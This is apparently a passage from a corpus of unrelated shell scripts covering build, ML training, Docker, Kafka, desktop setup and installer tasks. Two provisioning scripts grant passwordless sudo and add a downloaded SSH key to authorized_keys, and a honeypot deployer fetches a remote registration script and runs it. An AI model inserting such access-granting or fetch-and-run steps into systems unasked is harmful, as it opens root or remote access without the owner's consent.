tmp=\"${tmp: -1}\"\n[ \"$tmp\" != \"/\" ] && dir=\"$(dirname \"$2\")\"\n[ -a \"$dir\" ] ||\nmkdir -p \"$dir\" &&\nmv \"$@\"\n\n# # mv - script to create directory on `mv` if it doesn't exist\n# \n# ## Steps\n# \n# 1. Make file for the script\n# \n# `touch ~{dir}/mv.zsh`\n# \n# #!/bin/bash\n# # mv.sh\n# dir=\"$2\"\n# tmp=\"$2\"; tmp=\"${tmp: -1}\"\n# [ \"$tmp\" != \"/\" ] && dir=\"$(dirname \"$2\")\"\n# [ -a \"$dir\" ] ||\n# mkdir -p \"$dir\" &&\n# mv \"$@\"\n# Or put at the end of your ~/.bashrc file as a function that replaces the default mv on every new terminal. Using a function allows bash keep it memory, instead of having to read a script file every time.\n# \n# function mv ()\n# {\n# dir=\"$2\"\n# tmp=\"$2\"; tmp=\"${tmp: -1}\"\n# [ \"$tmp\" != \"/\" ] && dir=\"$(dirname \"$2\")\"\n# [ -a \"$dir\" ] ||\n# mkdir -p \"$dir\" &&\n# mv \"$@\"\n# }\n# \n# https://stackoverflow.com/questions/547719/is-there-a-way-to-make-mv-create-the-directory-to-be-moved-to-if-it-doesnt-exis \"linux - Is there a way to make mv create the directory to be moved to if it doesn't exist? - Stack Overflow\"\n# \n# https://www.zsh.org/mla/users/2006/msg00277.html \"Re: cd - and $OLDPWD, bug in the manual?\""} {"text": "10-100\n#!/bin/bash\npython test.py\\\n --name chair \\\n --category chair\\"} {"text": "100-1000\n#!/bin/bash\n\nfunction install_pkg() {\n declare -A osInfo;\n osInfo[/etc/debian_version]=\"apt-get install -y\"\n osInfo[/etc/alpine-release]=\"apk --update add\"\n osInfo[/etc/centos-release]=\"yum install -y\"\n osInfo[/etc/fedora-release]=\"dnf install -y\"\n\n # shellcheck disable=SC2068\n for f in ${!osInfo[@]}\n do\n if [[ -f $f ]];then\n package_manager=${osInfo[$f]}\n fi\n done\n\n sudo ${package_manager} \"$1\"\n}\n\nfunction check_user() {\n if ! id \"vermin\" >/dev/null 2>&1; then\n echo \"vermin user does not exists\"\n exit 1\n fi\n}\n\n\nfunction main() {\n check_user\n install_pkg openssh-server\n\n echo \"vermin ALL=(ALL) NOPASSWD:ALL\" | sudo tee -a /etc/sudoers\n sudo mkdir -p /home/vermin/.ssh &&\n wget https://raw.githubusercontent.com/mhewedy/vermin/master/etc/keys/vermin_rsa.pub -O - | sudo tee -a /home/vermin/.ssh/authorized_keys &&\n sudo chmod 400 /home/vermin/.ssh/authorized_keys && sudo chown vermin:vermin /home/vermin/.ssh/authorized_keys\n\n # install virtualbox guest utils\n #sudo apt-get install virtualbox-guest-utils\n #sudo adduser $USER vboxsf\n}\n\nmain"} {"text": "runs/open-eval.sh\ncd ..\n\nDATA_DIR=data/domainnet\nEXP_DIR=exp/domainnet\n\n##\n# Feature extraction\n##\n\n# extract many shot\nfor DOMAIN in clipart infograph painting real sketch\ndo\n python retrieve.py \\\n --im-path=$EXP_DIR/manyshot/domainnet_im_$DOMAIN/checkpoint.pth.tar \\\n --sk-path=$EXP_DIR/manyshot/domainnet_sk/checkpoint.pth.tar\ndone\n\n# extract zero shot\nfor DOMAIN in clipart infograph painting real sketch\ndo\n python retrieve.py \\\n --im-path=$EXP_DIR/zeroshot/domainnet_im_$DOMAIN/checkpoint.pth.tar \\\n --sk-path=$EXP_DIR/zeroshot/domainnet_sk/checkpoint.pth.tar\ndone\n\n##\n# any2any experiment\n##\n\npython retrieve-any.py --dir-path=$EXP_DIR/manyshot\npython retrieve-any.py --dir-path=$EXP_DIR/zeroshot\n\n##\n# many2any experiment\n##\n\npython retrieve-many.py --dir-path=$EXP_DIR/zeroshot --eval=many2any\npython retrieve-many.py --dir-path=$EXP_DIR/manyshot --eval=many2any\n\n##\n# any2many experiment\n##\n\npython retrieve-many.py --dir-path=$EXP_DIR/manyshot --eval=any2many"} {"text": "1-10\n#/bin/sh\n\nCONF_PATH=~/bcnetwork/conf\nSAMPLE_PATH=~/BCNET/bin/sample\n\ncd $CONF_PATH\n\nKAFKA_IP=$1\n\necho \"KAFKA IP : $KAFKA_IP\"\n\necho \"\"\n\necho \"====================================================\"\necho \"Execute kafka\"\n\ncp $SAMPLE_PATH/docker-compose.yaml ./\n\nsed -i 's/KAFKA_IP/'${KAFKA_IP}'/;' docker-compose.yaml\n\ndocker-compose up &"} {"text": "#!/bin/bash\n\n# Copyright (c) 2018-2019, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nexport WORLD_SIZE=4\n\npython -m torch.distributed.launch --nnodes=2 --node_rank=0 --nproc_per_node=2 --master_addr=\"192.168.127.12\" --master_port=333 \\\n train.py \\\n --use-fp16 \\\n --nhwc \\\n --pad-input \\\n --jit \\\n --delay-allreduce \\\n --opt-loss \\\n --epochs 1 \\\n --warmup-factor 0 \\\n --no-save \\\n --threshold=0.23 \\\n --data coco \\\n --evaluation 120000 160000 180000 200000 220000 240000 260000 280000"} {"text": "scripts/deploy_amun.sh1-10\n#!/bin/bash\n\nset -e\nset -x\n\nif [ $# -ne 2 ]\n then\n echo \"Wrong number of arguments supplied.\"\n echo \"Usage: $0 .\"\n exit 1\nfi\n\nserver_url=$1\ndeploy_key=$2\n\napt-get update\napt-get -y install git python-pip supervisor\n\n# Get the Amun source\ncd /opt\ngit clone https://github.com/zeroq/amun.git\ncd amun\nAMUN_HOME=/opt/amun \n\n# Configure Amun (disable vuln-http, too many false alarms here)\nsed -i 's/ip: 127.0.0.1/ip: 0.0.0.0/g' conf/amun.conf\nsed -i 's/ vuln-http,/# vuln-http,/g' conf/amun.conf\nsed -i $'s/log_modules:/log_modules:\\\\\\n log-hpfeeds/g' conf/amun.conf\n\n# Modify Ubuntu to accept more open files\necho \"104854\" > /proc/sys/fs/file-max\nulimit -Hn 104854\nulimit -n 104854\n\n# Register the sensor with the hnp server.\nwget $server_url/static/registration.txt -O registration.sh\nchmod 755 registration.sh\n# Note: this will export the HPF_* variables\n. ./registration.sh $server_url $deploy_key \"amun\"\n\n# Setup HPFeeds\ncat > /opt/amun/conf/log-hpfeeds.conf < /etc/supervisor/conf.d/amun.conf <build-rrtype.sh\n#!/bin/sh\n\ncurl https://www.iana.org/assignments/dns-parameters/dns-parameters-4.csv -o rrtypes.csv || exit 1\n\necho '#pragma once' > dns-rrtypes.h\necho >> dns-rrtypes.h\n\necho \"/* Built from IANA online data at $(date '+%Y-%m-%d %H:%M:%S %z') */\" >> dns-rrtypes.h\necho >> dns-rrtypes.h\n\ntr -d '\\n' < rrtypes.csv | tr '\\r' '\\n' | sed 's/ //' | \\\nsed -En 's/^([^,]+),([0-9]+),([^,]*),([^,]*),.*$/#define DNS_RRTYPE_\\1 \\2 \\/* \\3 \\4 *\\//p' | \\\nsed 's/DNS_RRTYPE_\\*/DNS_RRTYPE_ANY/' | \\\nsed -E '/^#define DNS_RRTYPE_([a-zA-Z0-9]*-)+[a-zA-Z0-9]+ / s/-/_/' \\\n>> dns-rrtypes.h\n\nrm -f rrtypes.csv"} {"text": "#!/bin/bash\ndocker build -t rangenet1.1 --network=host -f Dockerfile-tensorrt8.2.2 ."} {"text": "#!/bin/bash\n###############################################################################\n#\n# Script to create a new project based on a template.\n#\n# @tested\tOn OS X 10.7\n# @version\t2012-03-21\n###############################################################################\n\n\n# config ######################################################################\nproject_name=\"$1\"\ntemplate_type=\"$2\" # Paper | Expose | Review | Thesis\n#default_name=\"$3\" # template | expose | review | thesis_template\n\n#template_type=\"Paper\" # Paper | Expose | Review | Thesis\n#default_name=\"template\" # template | expose | review | thesis_template\n\nvcs_path=\"publications/\"\nwiki_path=\"Publication/\"\nwiki_param=\"?action=edit&template=Publication\"\n\nurl_vcs=\"https://svnsrv.fokus.fraunhofer.de/svn/cc/ngni/tub-av/${vcs_path}\"\nurl_wiki=\"https://svnsrv.fokus.fraunhofer.de/cc/ngni/tub-av/wiki/Guides/Research/${wiki_path}\"\n\nurl_template_base=\"https://svn.github.com/tubav\"\nurl_template=\"${url_template_base}/${template_type}\"\nurl_lib=\"https://github.com/tubav/Core/trunk\"\nproject_lib=\"lib\"\n###############################################################################\n\n\n# functions ###################################################################\nfunction checkError {\n [ \"0\" != \"${1}\" ] && echo \"Command failed: ${1}.\" && exit ${1};\n}\n###############################################################################\n\n\n# input #######################################################################\n[ -z \"${project_name}\" ] && echo -n \"Project name (e.g. 2012ngi): \" && read project_name\n[ -z \"${template_type}\" ] && echo -n \"Template type (e.g. Review): \" && read template_type\n#[ -z \"${default_name}\" ] && echo -n \"Default file name (e.g. review): \" && read default_name\n###############################################################################\n\n\n# checks ######################################################################\n[ -z \"${project_name}\" ] && echo \"Invalid input\" && exit 1\n[ -e \"${project_name}\" ] && echo \"Directory '${project_name}' already exists\" && exit 2\n###############################################################################\n\n\n# setup #######################################################################\necho \"Exporting template...\"\nsvn export \"${url_template}\" \"${project_name}\" && cd \"${project_name}\"\ncheckError $?\n\necho \"Cleanup files...\"\nsource \"build.sh.config\"\ndefault_name=\"$(basename $FILE_MAIN .tex)\"\nrm -f \"${default_name}.pdf\"\nrm -f \".gitmodules\"\nrm -f \".gitignore\"\nrm -rf \"${project_lib}\"\n\necho \"Renaming default files...\"\nmv \"${default_name}.tex\" \"${project_name}.tex\" && \\\nmv \"${default_name}.config.tex\" \"${project_name}.config.tex\" && \\\nperl -p -i -e \"s/${default_name}/${project_name}/g\" \"build.sh.config\" && \\\nperl -p -i -e \"s/${default_name}/${project_name}/g\" \"${project_name}.tex\" && \\\nperl -p -i -e \"s/${default_name}/${project_name}/g\" \".project\" && \\\nperl -p -i -e \"s/${default_name}/${project_name}/g\" \".texlipse\"\ncheckError $?\n\necho \"Renaming special files...\"\n[ -f \"src/${default_name}.tex\" ] && mv \"src/${default_name}.tex\" \"src/${project_name}.tex\"\n[ -f \"${default_name}.acro.tex\" ] && mv \"${default_name}.acro.tex\" \"${project_name}.acro.tex\"\n[ -f \"${default_name}.meta.tex\" ] && mv \"${default_name}.meta.tex\" \"${project_name}.meta.tex\"\n[ -f \"${default_name}.acronyms.tex\" ] && mv \"${default_name}.acronyms.tex\" \"${project_name}.acronyms.tex\"\n[ -f \"${default_name}.bib\" ] && mv \"${default_name}.bib\" \"${project_name}.bib\"\n\necho \"Creating new repository...\"\nsvn import -m \"new project '${project_name}' (1/2)\" . \"${url_vcs}/${project_name}\" && \\\nsvn co --force \"${url_vcs}/${project_name}\" .\ncheckError $?\n\necho \"Checking out core library...\"\nsvn propset svn:externals \"${project_lib} ${url_lib}\" . && \\\nsvn propset svn:ignore \"resources/images/example*.pdf\" . && \\\nsvn up\ncheckError $?\n\necho \"Submitting changes...\"\nsvn ci -m \"new project '${project_name}' (2/2)\"\ncheckError $?\n\necho \"Creating PDF...\"\nmake clean build\n\necho \"Please create a new wiki page:\"\necho \"${url_wiki}/${project_name}${wiki_param}\"\n###############################################################################\n\nexit 0"} {"text": "#!/bin/bash\n#cloud-config\noutput: {all: '| tee -a /var/log/cloud-init-output.log'}\n\nyum -y update\n\niptables -I INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT\nservice iptables save\nservice iptables restart\n\nyum -y install docker-io\nservice docker start\nchkconfig docker on\n\ndocker run --name some-postgres -e POSTGRES_PASSWORD= -e POSTGRES_USER=sample_app -d postgres\n\nyum -y install git\n\ncd /opt\ngit clone https://github.com/carmelocuenca/sample_app_rails_4.git\ncd sample_app_rails_4\n\ncp config/database.yml.postgres config/database.yml\necho \"FROM ruby:2.0-onbuild\nRUN apt-get update && apt-get -y install nodejs\nCMD [\\\"/bin/bash\\\"]\" | tee Dockerfile\ndocker build -t sample_app_image .\n\ndocker run --link some-postgres:db --rm -w /usr/src/app sample_app_image rake db:setup\ndocker run --link some-postgres:db --rm -w /usr/src/app sample_app_image rake db:migrate\ndocker run --link some-postgres:db --rm -w /usr/src/app sample_app_image rake db:populate\ndocker run --link some-postgres:db -d -w /usr/src/app -p 80:3000 sample_app_image rails server"} {"text": "#!/bin/bash\n# require JQ, run 'sudo apt install jq'\n\nread -p \"Enter the version number: \" VERSION\necho \"Verifying milestones...\"\nMILESTONES=$(curl https://api.github.com/search/issues\\?q\\=milestone:v$VERSION+type:pr+repo:home-assistant/hassbian-scripts | jq -r '.items[]| \"[#\" +(.number|tostring) +\"](\" + .html_url + \") \" + .title + \" [@\" + (.user | .login + \"](\" + .html_url + \") \")')\nif [ ! \"$MILESTONES\" ]; then\n echo \"No milestones... aborting...\"\n exit\nfi\n\nrm hassbian_config_$VERSION.md\necho \"**$VERSION** \" | tee -a hassbian_config_$VERSION.md\necho \"$MILESTONES\" | tee -a hassbian_config_$VERSION.md"} {"text": "#!/bin/sh\nif [ 1 -eq 0 ]\nthen\n\nfor EXEC in test/test-*\ndo\n\t${EXEC} > ${EXEC}.p1.t1.log\ndone\n\nfor EXEC in bin/benchmark_*\ndo\n\t${EXEC} > ${EXEC}.p1.t1.log\ndone\n\nfi\n\ndf=~/data/1000genome/SRR077487_1.filt.0_015625.fastq\ndf2=~/data/1000genome/SRR077487_1.filt.0_03125.fastq\n\nformat=FASTQ\nk=31\na=4\ndhash=MURMUR64avx\nshash=CRC32C\n\nif [ 1 -eq 0 ]\nthen\n\nfor map in RADIXSORT BROBINHOOD\ndo\n\nfor EXEC in bin/*KmerIndex-${format}-a${a}-k${k}-CANONICAL-${map}-COUNT-dtIDEN-dh${dhash}-sh${shash}\ndo\n\tmpirun -np 4 ${EXEC} -b -F ${df} > ${EXEC}.p4.t1.log \ndone\n\nfor EXEC in bin/*KmerIndex-${format}-a${a}-k${k}-CANONICAL-${map}-COUNT-dtIDEN-dhMURMUR32avx-sh${shash}\ndo \n\tmpirun -np 4 ${EXEC} -b -F ${df} > ${EXEC}.p4.t1.log \ndone\n\n\tEXEC=bin/testKmerCounter-${format}-a${a}-k${k}-CANONICAL-${map}-COUNT-dtIDEN-dh${dhash}-sh${shash}\n\tmpirun -np 4 ${EXEC} ${df} ${df2} > ${EXEC}.p4.t1.log\ndone\n\nfi\n\nexport OMP_DISPLAY_ENV=true\nexport OMP_PLACES=cores\nexport OMP_PROC_BIND=true\n\nfor map in MTRADIXSORT MTROBINHOOD\ndo\n\nfor EXEC in bin/*KmerIndex-${format}-a${a}-k${k}-CANONICAL-${map}-COUNT-dtIDEN-dh${dhash}-sh${shash}\ndo\n\texport OMP_NUM_THREADS=4; mpirun -np 1 ${EXEC} -b -F ${df} > ${EXEC}.p1.t4.log\n\n\texport OMP_NUM_THREADS=2; mpirun -np 2 ${EXEC} -b -F ${df} > ${EXEC}.p2.t2.log\n\n\texport OMP_NUM_THREADS=1; mpirun -np 4 ${EXEC} -b -F ${df} > ${EXEC}.p4.t1.log\ndone\n\tEXEC=bin/testKmerCounter-${format}-a${a}-k${k}-CANONICAL-${map}-COUNT-dtIDEN-dh${dhash}-sh${shash}\n\texport OMP_NUM_THREADS=4; mpirun -np 1 ${EXEC} ${df} ${df2} > ${EXEC}.p1.t4.log\n\ndone\n\nif [ 1 -eq 0 ]\nthen\n\n\nEXEC=bin/testKmerIndex-${format}-a${a}-k${k}-CANONICAL-DENSEHASH-COUNT-dtIDEN-dhMURMUR-shCRC32C\nmpirun -np 4 ${EXEC} -b -F ${df} > ${EXEC}.p4.t1.log\n\nEXEC=bin/testKmerIndex-${format}-a${a}-k${k}-CANONICAL-DENSEHASH-COUNT-dtIDEN-dhMURMUR32-shCRC32C\nmpirun -np 4 ${EXEC} -b -F ${df} > ${EXEC}.p4.t1.log\n\nEXEC=bin/testKmerCounter-${format}-a${a}-k${k}-CANONICAL-DENSEHASH-COUNT-dtIDEN-dhMURMUR-shCRC32C\nmpirun -np 4 ${EXEC} ${df} ${df2} > ${EXEC}.p4.t1.log\n\nEXEC=bin/testKmerCounter-${format}-a${a}-k${k}-CANONICAL-DENSEHASH-COUNT-dtIDEN-dhMURMUR32-shCRC32C\nmpirun -np 4 ${EXEC} ${df} ${df2} > ${EXEC}.p4.t1.log\nfi"} {"text": "1-10\n#!/bin/bash\n\nif [ -z \"$BOOST_TOOLSET\" ]; then\n echo BOOST_TOOLSET not set\n exit 1\nfi\nif [ -z \"$DEBUG_RELEASE\" ]; then\n echo DEBUG_RELEASE not set\n exit 1\nfi\nif [ -z \"$ADDRESS_MODEL\" ]; then\n echo ADDRESS_MODEL not set\n exit 1\nfi\nif [ -z \"$BOOST_SOURCE_FOLDER\" ]; then\n echo BOOST_SOURCE_FOLDER not set\n exit 1\nfi\nif [ -z \"$BZIP2_SOURCE_FOLDER\" ]; then\n echo BZIP2_SOURCE_FOLDER not set\n exit 1\nfi\nif [ -z \"$ZLIB_SOURCE_FOLDER\" ]; then\n echo ZLIB_SOURCE_FOLDER not set\n exit 1\nfi\nif [ -z \"$BOOST_INCLUDE_FOLDER\" ]; then\n echo BOOST_INCLUDE_FOLDER not set\n exit 1\nfi\nif [ -z \"$BOOST_LIB_FOLDER\" ]; then\n echo BOOST_LIB_FOLDER not set\n exit 1\nfi\nif [ -z \"$BOOST_TMP_FOLDER\" ]; then\n echo BOOST_TMP_FOLDER not set\n exit 1\nfi\nif [ -z \"$BOOST_EXEC_FOLDER\" ]; then\n echo BOOST_EXEC_FOLDER not set\n exit 1\nfi\n\ncurrent_folder=$(pwd)\n\nlayout=system\nwith_libraries=\"\\\n --with-atomic\\\n --with-chrono\\\n --with-container\\\n --with-context\\\n --with-coroutine\\\n --with-fiber\\\n --with-iostreams\\\n --with-program_options\\\n --with-test\\\n --with-thread\n\"\n\nadditional_flags=\"\\\n -sBZIP2_SOURCE=\"$BZIP2_SOURCE_FOLDER\"\\\n -sZLIB_SOURCE=\"$ZLIB_SOURCE_FOLDER\"\\\n cxxflags=\"-std=c++17\"\\\n\"\n\nb2_command=\"b2 -d2\\\n --build-dir=\"$BOOST_TMP_FOLDER\"\\\n --includedir=\"$BOOST_INCLUDE_FOLDER\"\\\n --libdir=\"$BOOST_LIB_FOLDER\"\\\n --exec-prefix=\"$BOOST_EXEC_FOLDER\"\\\n --layout=$layout\\\n $with_libraries\\\n toolset=$BOOST_TOOLSET\\\n variant=$DEBUG_RELEASE\\\n address-model=$ADDRESS_MODEL\\\n link=static\\\n runtime-link=shared\\\n $additional_flags\\\n install\"\n\necho Building libraries: $with_libraries\necho $b2_command\n\nmkdir -p \"$BOOST_INCLUDE_FOLDER\"\ncd $BOOST_SOURCE_FOLDER\n$b2_command\ncd $current_folder"} {"text": "guillehorno/fullstaq-ruby-server-edition\n#!/bin/bash\nset -e\n\nSELFDIR=$(dirname \"$0\")\nROOTDIR=$(cd \"$SELFDIR/../../..\" && pwd)\n# shellcheck source=../../../lib/library.sh\nsource \"$ROOTDIR/lib/library.sh\"\n\nrequire_envvar BINTRAY_ORG\nrequire_envvar BINTRAY_API_USERNAME\nrequire_envvar BINTRAY_API_KEY\n\n\nfunction run_curl()\n{\n local COMMAND\n\n COMMAND=(curl -sSL -w \"%{http_code}\" \"$@\")\n echo \"+ ${COMMAND[@]}\"\n \"${COMMAND[@]}\" > http-code.txt\n HTTP_CODE=$(cat http-code.txt)\n echo \"API response: HTTP $HTTP_CODE\"\n}\n\nfunction verify_http_code_ok()\n{\n if ! [[ \"$HTTP_CODE\" =~ ^2 ]]; then\n echo \"*** ERROR: Bintray API returned non-successful HTTP code\"\n exit 1\n fi\n}\n\n\nrun_curl -u \"$BINTRAY_API_USERNAME:$BINTRAY_API_KEY\" -o repos.json \\\n \"https://bintray.com/api/v1/repos/$BINTRAY_ORG\"\nverify_http_code_ok\nrun jq -C . repos.json"} {"text": "#!/bin/bash\nmkdir -p \\\n ~/workspace/lib/mingw64/debug/lib \\\n ~/workspace/lib/mingw64/debug/include/leptonica \\\n ~/workspace/lib/mingw64/release/lib \\\n ~/workspace/lib/mingw64/release/include/leptonica \\\n ~/workspace/lib/unix/lib \\\n ~/workspace/lib/unix/include/leptonica\ncp ../lib/nodebug/liblept.a /home/simonmeaden/workspace/lib/unix/lib\ncp ../lib/debug/liblept.a /home/simonmeaden/workspace/lib/unix/lib/libleptd.a # rename debug version\ncp ../lib/mxe_gcc_static/nodebug/liblept.a /home/simonmeaden/workspace/lib/mingw64/release/lib\ncp ../lib/mxe_gcc_static/debug/liblept.a /home/simonmeaden/workspace/lib/mingw64/debug/lib\ncp *.h /home/simonmeaden/workspace/lib/unix/include/leptonica\ncp *.h /home/simonmeaden/workspace/lib/mingw64/release/include/leptonica\ncp *.h /home/simonmeaden/workspace/lib/mingw64/debug/include/leptonica"} {"text": "#!/bin/sh\n#\n# Raw and quick script to set up the file's association for xdg-open\n\nIMAGEVIEWER=\"feh.desktop\"\nVIDEOPLAYER=\"mpv.desktop\"\nEBOOKREADER=\"org.pwmt.zathura.desktop\"\nDOCREADER=\"org.pwmt.zathura.desktop\"\n\nxdg-mime default \"${BROWSER}.desktop\" text/html\nxdg-mime default \"${BROWSER}.desktop\" application/x-extension-xht\nxdg-mime default \"${BROWSER}.desktop\" application/x-extension-xhtml\nxdg-mime default \"${BROWSER}.desktop\" application/xhtml+xml\nxdg-mime default \"${BROWSER}.desktop\" application/x-extension-htm\nxdg-mime default \"${BROWSER}.desktop\" application/x-extension-html\n\nxdg-mime default $IMAGEVIEWER image/jpeg\nxdg-mime default $IMAGEVIEWER image/pjpeg\nxdg-mime default $IMAGEVIEWER image/png\nxdg-mime default $IMAGEVIEWER image/gif\nxdg-mime default $IMAGEVIEWER image/webp\nxdg-mime default $IMAGEVIEWER image/*\n\nxdg-mime default $VIDEOPLAYER video/mp4\nxdg-mime default $VIDEOPLAYER video/mkv\nxdg-mime default $VIDEOPLAYER video/mpeg\nxdg-mime default $VIDEOPLAYER video/avi\nxdg-mime default $VIDEOPLAYER video/x-msvideo\nxdg-mime default $VIDEOPLAYER video/webm\nxdg-mime default $VIDEOPLAYER video/*\n\nxdg-mime default $VIDEOPLAYER application/ogg\nxdg-mime default $VIDEOPLAYER audio/*\n\nxdg-mime default $EBOOKREADER application/epub+zip\n\nxdg-mime default $DOCREADER application/pdf\nxdg-mime default $DOCREADER application/postscript\n# Djvu files open with Zathura (needs zathura-djvu package)\nxdg-mime default $DOCREADER image/vnd.djvu"} {"text": "update_version.sh\n#!/bin/bash\nsed -i \"s/\"$1\"\\.\"$2\"\\.\"$3\"/\"$4\"\\.\"$5\"\\.\"$6\"/g\" $1.$2.$3/Doxyfile README.md\ngit mv $1.$2.$3 $4.$5.$6"} {"text": "0\n./ft_otool $1 > ft_otool.output\notool -t $1 > otool.output\n\ndiff otool.output ft_otool.output"} {"text": "#!/bin/sh\ng++ -m64 -DJ64 -DKXVER=3 -fPIC -shared -lm -lpthread -lstdc++ -I. -I.. -L../../dll/l64 -lGWDPApi extgwdp.cpp -o ../../dll/l64/extgwdp.so -Wno-write-strings"} {"text": "yelp_package/dockerfiles/hacheck-sidecar/check_proxy_up.sh\n#!/bin/bash\nset -e\nif [ -f /var/ready ]; then\n\texit 0\nelse\n\t/opt/venvs/paasta-tools/bin/is_pod_healthy_in_proxy.py $@ && touch /var/ready\n\texit $?\nfi"} {"text": "#!/bin/bash -e\ncd \"$(dirname $0)\"\nunset GOPATH\n\nfunction v\n{\n echo \"$@\"\n \"$@\"\n}\n\nv go mod download\n#v go test .\nv go install .\nv gofmt -l -w -s *.go\n\nv ./example/generate.sh\n\nv go test ./..."} {"text": "fccastellvi/stellar-processorbin/kafka/createTopic.sh\n#!/usr/bin/env bash\n\nROOT_DIR=$(git rev-parse --show-toplevel)\nsource ${ROOT_DIR}/bin/env.sh\n\n# Create the input topic\n$KAFKA_HOME/bin/kafka-topics --create \\\n --bootstrap-server localhost:9092 \\\n --replication-factor 1 \\\n --partitions 1 \\\n --topic stellar-transactions\n\n# Create the input topic\n$KAFKA_HOME/bin/kafka-topics --create \\\n --bootstrap-server localhost:9092 \\\n --replication-factor 1 \\\n --partitions 1 \\\n --topic stellar-aggregations\n\n$KAFKA_HOME/bin/kafka-topics --list --bootstrap-server localhost:9092"} {"text": "#!/usr/bin/env bash\n\necho -e \"\nInstalling...\n _______ __ __ _______ __ __ ___ _______ _______ __ __\n| _____|| | | || _ || |_| || | | || || | | |\n| |_____ | | | || |_| || || | |_ _||_ _|| |_| |\n|_____ || |_| || _ | | || | | | | | |_ _|\n _____| || || |_| || ||_|| || | | | | | | | \n|_______||_______||_______||_| |_||___| |___| |___| |___|\n\nThis script will handle installing and setting up Submitty, including\ncloning the repo from https://github.com/Submitty/Submitty and running\n.setup/install_system.sh. To accomplish this, the script requires\nroot access, and will ask for your password if this script was not run\nas root.\n\n\"\n\nif [ $UID -ne 0 ]; then\n echo \"This script requires root to run. Restarting the script under root.\"\n exec sudo $0 \"$@\"\n exit $?\nfi\n\nset -e\n\nif [ ! $(command -v git ) ]; then\n echo \"Installing git...\"\n apt-get install -y git\nfi\n\nif [ ! -d /usr/local/submitty/GIT_CHECKOUT/Submitty ]; then\n echo \"Cloning Submitty...\"\n mkdir -p /usr/local/submitty/GIT_CHECKOUT\n git clone https://github.com/Submitty/Submitty /usr/local/submitty/GIT_CHECKOUT/Submitty\nfi\n\nif [ ! $(command -v lsb_release) ]; then\n echo \"Installing lsb-release...\"\n apt-get install -y lsb-release\nfi\n\necho \"Running install_system.sh...\"\nbash /usr/local/submitty/GIT_CHECKOUT/Submitty/.setup/install_system.sh"} {"text": "10-100\n#!/bin/bash\n\nset -Eeuxo pipefail\n\nDOCKER_RUN_OPTIONS=\"-i\"\n\n# Only allocate tty if we detect one\nif [ -t 0 ] && [ -t 1 ]; then\n DOCKER_RUN_OPTIONS=\"$DOCKER_RUN_OPTIONS -t\"\nfi\n\nABSPATH=$(realpath \"$1\")\nDIR=$(dirname \"$ABSPATH\")\nFILE=/host/$(basename \"$ABSPATH\")\nshift\n\ndocker run \"$DOCKER_RUN_OPTIONS\" --mount type=bind,source=\"$DIR\",target=/host theta-xta-cli:latest --model \"$FILE\" \"$@\""} {"text": "0\n#! /bin/sh\nwhile true;\ndo\nCPU_MHZ=$(lscpu | grep 'CPU MHz:' | cut -d':' -f2 | sed \"s/^[ \\t]*//\" )\nCPU_MHZ=${CPU_MHZ%.*}\nt=$( sensors | grep 'Tdie' | sed -r 's/^.*: +(.*) +[(].*$/\\1/' )\necho Temperature Tdie $t\necho CPU speed $CPU_MHZ\nmosquitto_pub -h localhost -t zen4_temp -m \"$t\"\nmosquitto_pub -h localhost -t zen4_speed -m \"$CPU_MHZ\"\nsleep 5\ndone"} {"text": "#!/bin/bash\nmake_model() {\n\tif [ -z $1 ]\n\tthen\n\t\tprintf \"Mode undefined, must be hmvc or mvc\\n\"\n\t\tprintf \"It should be like this 'make:model '\\n\"\n\telif [ -n $1 ]\n\tthen\n\t\tmode=$1\n\n\t\tcase $mode in\n\t\t\t\"mvc\")\n\t\t\t\tif [ -z $2 ]\n\t\t\t\tthen\n\t\t\t\t\tprintf \"Model name undefined\\n\"\n\t\t\t\t\tprintf \"It should be like this 'make:model $mode '\\n\"\n\t\t\t\telif [ -n $2 ]\n\t\t\t\tthen\n\t\t\t\t\tconname=$2\n\n\t\t\t\t\t# Create 'mvc' model\n\t\t\t\t\tif [ ! -e ./System/Models/\"$conname.php\" ]\n\t\t\t\t\tthen\n\t\t\t\t\t\t# Create 'mvc' model\n\t\t\t\t\t\tcp .cli/tmp/cm_mdl.php ./System/Models/\"$conname.php\"\n\t\t\t\t\t\tsed -i \"s/cm_mdl/$conname/g\" ./System/Models/\"$conname.php\"\n\n\t\t\t\t\t\tprintf \"Model created\\n\"\n\t\t\t\t\t\tprintf \"see the results in the 'System/Models' directory\\n\"\n\t\t\t\t\telse\n\t\t\t\t\t\tprintf \"Model already exists\\n\"\n\t\t\t\t\tfi\n\t\t\t\tfi\n\t\t\t;;\n\t\t\t\"hmvc\")\n\t\t\t\tif [ -z $2 ]\n\t\t\t\tthen\n\t\t\t\t\tprintf \"Module name undefined\\n\"\n\t\t\t\t\tprintf \"It should be like this 'make:model $mode '\\n\"\n\t\t\t\telif [ -n $2 ]\n\t\t\t\tthen\n\t\t\t\t\tdirname=$2\n\n\t\t\t\t\t# if directory doesnt exist\n\t\t\t\t\tif [ ! -d ./System/Modules/$dirname ]\n\t\t\t\t\tthen\n\t\t\t\t\t\tprintf \"Module doesn't exists\\n\"\n\t\t\t\t\telse # if exist\n\t\t\t\t\t\tif [ -z $3 ]\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\tprintf \"Model name undefined\\n\"\n\t\t\t\t\t\t\tprintf \"It should be like this 'make:model $mode $dirname '\\n\"\n\t\t\t\t\t\telif [ -n $3 ]\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\tconname=$3\n\n\t\t\t\t\t\t\t# Create 'hmvc' model\n\t\t\t\t\t\t\tif [ ! -e ./System/Modules/$dirname/Models/\"$conname.php\" ]\n\t\t\t\t\t\t\tthen\n\t\t\t\t\t\t\t\tcp .cli/tmp/md_mdl.php ./System/Modules/$dirname/Models/\"$conname.php\"\n\t\t\t\t\t\t\t\tsed -i \"s/md_mdl/$conname/g\" ./System/Modules/$dirname/Models/\"$conname.php\"\n\t\t\t\t\t\t\t\tsed -i \"s/ModuleName/\"$(echo \"$dirname\" |sed -e \"s/\\b\\(.\\)/\\u\\1/g\")\"/g\" 